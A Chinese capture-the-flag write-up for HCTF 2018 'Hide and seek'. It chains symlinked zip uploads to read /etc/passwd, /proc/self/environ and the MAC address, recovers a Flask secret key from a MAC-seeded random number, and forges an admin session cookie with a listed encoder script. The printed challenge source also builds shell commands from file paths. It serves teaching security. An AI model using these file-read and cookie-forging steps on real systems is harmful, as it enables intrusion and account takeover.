知识点:flask-session伪造,文件读取,mac地址查询

文章目录

  • 解题过程
    • 1. 注册用户并登录
    • 2. 文件读取
      • 2.1 读取/proc/self/environ
      • 2.2 读取/app/uwsgi.ini
      • 2.3 读取源码
    • 3. 伪随机数种子
      • 3.1 关于uuid.getnode()
      • 3.2 mac地址
      • 3.3 由mac地址得到伪随机数种子
    • 4. 使用脚本伪造admin的session
  • 参考链接

解题过程

1. 注册用户并登录

打开容器,提醒我们需要登录

随便输入username和password,直接就算注册了,估计不是数据库。但是要注意,username不能是admin,因为接下来需要伪造admin的session。

2. 文件读取

登录之后,提醒我们需要提交zip压缩文件。随便测试一下,将1.txt进行压缩,提交,回显的是里面的内容

可能是有文件读取,我们可以创建一个软链接,将其指向服务器上的文件,看看是否能够读取出来

在linux环境下执行
ln -s /etc/passwd passwd
zip -y passwd.zip passwd

将得到的passwd.zip进行上传,可以正常回显

2.1 读取/proc/self/environ

接着读取/proc/self/environ,查看当前的环境变量信息

ln -s /proc/self/environ en
zip -y en.zip en

en.zip进行提交,回显如下

2.2 读取/app/uwsgi.ini

注意DUWSGI_INI=/app/uwsgi.ini

uWSGI是一个Web服务器,它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器(如nginx,uWSGI等服务器)与web应用(如用Flask框架写的程序)通信的一种规范。

读取/app/uwsgi.ini

ln -s /app/uwsgi.ini us
zip -y us.zip us

将us.zip提交,回显

[uwsgi] module = main callable=app logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log

2.3 读取源码

试一下读取/app/main.py文件,

ln -s /app/main.py main
zip -y main.zip main

嘶,回显的不是很理想
后来看了大佬的博客,可能是buuoj的环境有点问题, /app/uwsgi.ini回显中应该是module=/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py,读取/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py即可得到源文件

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])def allowed_file(filename):return '.' in filename and \filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS@app.route('/', methods=['GET'])
def index():error = request.args.get('error', '')if(error == '1'):session.pop('username', None)return render_template('index.html', forbidden=1)if 'username' in session:return render_template('index.html', user=session['username'], flag=flag.flag)else:return render_template('index.html')@app.route('/login', methods=['POST'])
def login():username=request.form['username']password=request.form['password']if request.method == 'POST' and username != '' and password != '':if(username == 'admin'):return redirect(url_for('index',error=1))session['username'] = usernamereturn redirect(url_for('index'))@app.route('/logout', methods=['GET'])
def logout():session.pop('username', None)return redirect(url_for('index'))@app.route('/upload', methods=['POST'])
def upload_file():if 'the_file' not in request.files:return redirect(url_for('index'))file = request.files['the_file']if file.filename == '':return redirect(url_for('index'))if file and allowed_file(file.filename):filename = secure_filename(file.filename)file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)if(os.path.exists(file_save_path)):return 'This file already exists'file.save(file_save_path)else:return 'This file is not a zipfile'try:extract_path = file_save_path + '_'os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)read_obj = os.popen('cat ' + extract_path + '/*')file = read_obj.read()read_obj.close()os.system('rm -rf ' + extract_path)except Exception as e:file = Noneos.remove(file_save_path)if(file != None):if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):return redirect(url_for('index', error=1))return Response(file)if __name__ == '__main__':#app.run(debug=True)app.run(host='0.0.0.0', debug=True, port=10008)

3. 伪随机数种子

有了源码,就需要根据源码伪造admin的session,而session构造需要SECRET_KEY,看源码,SECRET_KEY等于一个随机数,但是这个随机数是通过设置随机数种子生成的。之前做的一个伪随机数的题,知道只要种子一样,后面生成的随机数是一样的。

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

所以看一下生成伪随机数种子的函数uuid.getnode()

3.1 关于uuid.getnode()

源链接:Python——uuid

3.2 mac地址

所以想得到种子,就需要容器的mac地址
根据前面我们知道的文件读取功能,尝试读取/sys/class/net/eth0/address来得到mac地址

ln -s /sys/class/net/eth0/address mac
zip -y mac.zip mac

提交mac.zip,得到02:42:ac:10:9e:a1

3.3 由mac地址得到伪随机数种子

import uuid
import randommac = "02:42:ac:10:9e:a1"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
print(mac)#将mac转为十进制random.seed(mac)
print(random.random()*100)#由转化后的mac得到伪随机数种子---------- python3.8 ----------
2485377867425
23.369338877463953输出完成 (耗时 0 秒) - 正常终止

4. 使用脚本伪造admin的session

flask_session_manager.py

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4from abc import ABCMeta, abstractmethod
else: # > 3.4from abc import ABC, abstractmethod# Lib for argument parsing
import argparse# external Imports
from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keyif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4class FSCM(metaclass=ABCMeta):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if(secret_key==None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise e
else: # > 3.4class FSCM(ABC):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if(secret_key==None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise eif __name__ == "__main__":# Args are only relevant for __main__ usage## Description for helpparser = argparse.ArgumentParser(description='Flask Session Cookie Decoder/Encoder',epilog="Author : Wilson Sumanang, Alexandre ZANNI")## prepare sub commandssubparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')## create the parser for the encode commandparser_encode = subparsers.add_parser('encode', help='encode')parser_encode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=True)parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',help='Session cookie structure', required=True)## create the parser for the decode commandparser_decode = subparsers.add_parser('decode', help='decode')parser_decode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=False)parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',help='Session cookie value', required=True)## get argsargs = parser.parse_args()## find the option chosenif(args.subcommand == 'encode'):if(args.secret_key is not None and args.cookie_structure is not None):print(FSCM.encode(args.secret_key, args.cookie_structure))elif(args.subcommand == 'decode'):if(args.secret_key is not None and args.cookie_value is not None):print(FSCM.decode(args.cookie_value,args.secret_key))elif(args.cookie_value is not None):print(FSCM.decode(args.cookie_value))

在python3的环境下执行

python flask_session_manager.py encode -s '23.369338877463953' -t "{'username':'admin'}"

抓包将伪造的session替换,即可得到flag
回显

参考链接

  1. BUUCTF:[HCTF 2018]Hide and seek
  2. Python——uuid
  3. 记[HCTF 2018]Hideandseek

[HCTF 2018]Hideandseek相关推荐

  1. 记[HCTF 2018]Hideandseek

    记[HCTF 2018]Hideandseek 前言 一万年没刷题了,尽搞些杂七杂八的了,于是乎刷了一个题(自己给自己一个嘴巴子) 总结一下这个题的考点: zip 软链接实现任意文件读取 linux系 ...

  2. BUUCTF [HCTF 2018] Hide and seek

    BUUCTF [HCTF 2018] Hide and seek 考点: 软连接读取任意文件 Flask伪造session /proc/self/environ文件获取当前进程的环境变量列表 rand ...

  3. [HCTF 2018] WarmUp

    [HCTF 2018] WarmUp 开局一张图,先看看页面源码信息 给出了一个 source.php 应该是后端的源码,这题代码审计了 <?phphighlight_file(__FILE__ ...

  4. [原题复现]HCTF 2018 Warmup

    HCTF 2018 Warmup 原题复现:https://gitee.com/xiaohua1998/hctf_2018_warmup 考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意 ...

  5. BUUCTF [HCTF 2018]WarmUp 1

    BUUCTF [HCTF 2018]WarmUp 1 f12发现提示source.php 打开后发现php代码: <?phphighlight_file(__FILE__);class emmm ...

  6. BUUCTF:[HCTF 2018]Hide and seek

    BUUCTF:[HCTF 2018]Hide and seek 参考:https://www.jianshu.com/p/d20168da7284 先随便输入账号密码登录 提示我们上传zip文件 上传 ...

  7. BUUCTF [HCTF 2018] admin

    BUUCTF [HCTF 2018] admin 解法一:弱密码 解法二:Flask伪造Session 解法三:Unicode欺骗 考点: 弱密码 Flask伪造session Unicode欺骗 启 ...

  8. BUUCTF-WEB:[HCTF 2018]WarmUp

    刷题平台:https://buuoj.cn 题目地址:https://buuoj.cn/challenges#[HCTF%202018]WarmUp 解题步骤: 1.访问:http://26778d3 ...

  9. [HCTF 2018]admin

    前言: 最近在BUUCTF刷题,参照师傅们wp后复现一下 0x01 拿到题目后进去如下界面 发现有登录和注册界面,想必是要登录后才能查看想要的信息. 查看页面源代码,看看有没有上面提示,界面如下 提示 ...

最新文章

  1. Python进阶03 模块
  2. 【小松教你手游开发】【unity实用技能】计算目标物体是否在自己的扇形视野范围...
  3. PMCAFF原创文章人气周榜第三期(原创干货由你评鉴,在评论里写下你的看法吧~)
  4. HTML+CSS+JavaScript复习笔记持更(九)——CSS3常用属性之盒模型
  5. Linux系统 proc self,Linux内核源代码情形分析-特殊文件系统/proc-对/proc/self/cwd的访问...
  6. 各企业正在纷纷向“云”,背后有着哪些原因?
  7. 述职答辩提问环节一般可以问些什么_论文答辩一般会问什么问题?需要注意什么事项?...
  8. 前端:CSS/09/行内框架,CSS简介,CSS选择器,组合选择器,CSS注释,CSS尺寸属性,CSS字体属性,CSS文本属性
  9. 刘翔 ,做你应该做的吧
  10. Python中的极端梯度增强(XGBoost)集成
  11. CSS | 使用 PostCSS 插件让 Web 应用支持暗黑模式
  12. 自底向上和自顶向下的架构设计区别
  13. 判断二极管导通例题_从120分到140分:高考数学解答题五大答题策略
  14. 阿里云centos 7下kubeadm方式安装kubernetes 1.14.1集群(包含解决墙以及各种坑的问题)
  15. Android , 打开系统播放器
  16. 多重比较和多重比较陷阱
  17. OpenGL 阴影图之二
  18. android4.4广播,Android4.4 framework分析——广播的注册(BroadcastReceiver)和发送(sendbroadcast)过程分析...
  19. win10加装机械硬盘卡_以微软的技术实力,win10还会出现硬盘100%占用的问题,为什么呢...
  20. SECTION 15 函数和函数式编程(二)

热门文章

  1. 提升BT下载速度,Windows 做种批处理脚本(.bat)启动方案
  2. html中颜色的三种不同表示方法,表示颜色的有三种方式
  3. 车辆运动学模型—bicycle model
  4. 论文学习 Deep Adversarial Subspace Clustering
  5. Paper:Transformer模型起源—2017年的Google机器翻译团队—《Transformer:Attention Is All You Need》翻译并解读
  6. 有趣的汉语:同音文(一):《季姬击鸡记》
  7. wordclound词云图不清晰问题
  8. 传奇源码分析-客户端(游戏逻辑处理源分析四)
  9. 抓取移动端应用的崩溃日志
  10. java后台简单从腾讯云下载文件通知前端以附件的形式保存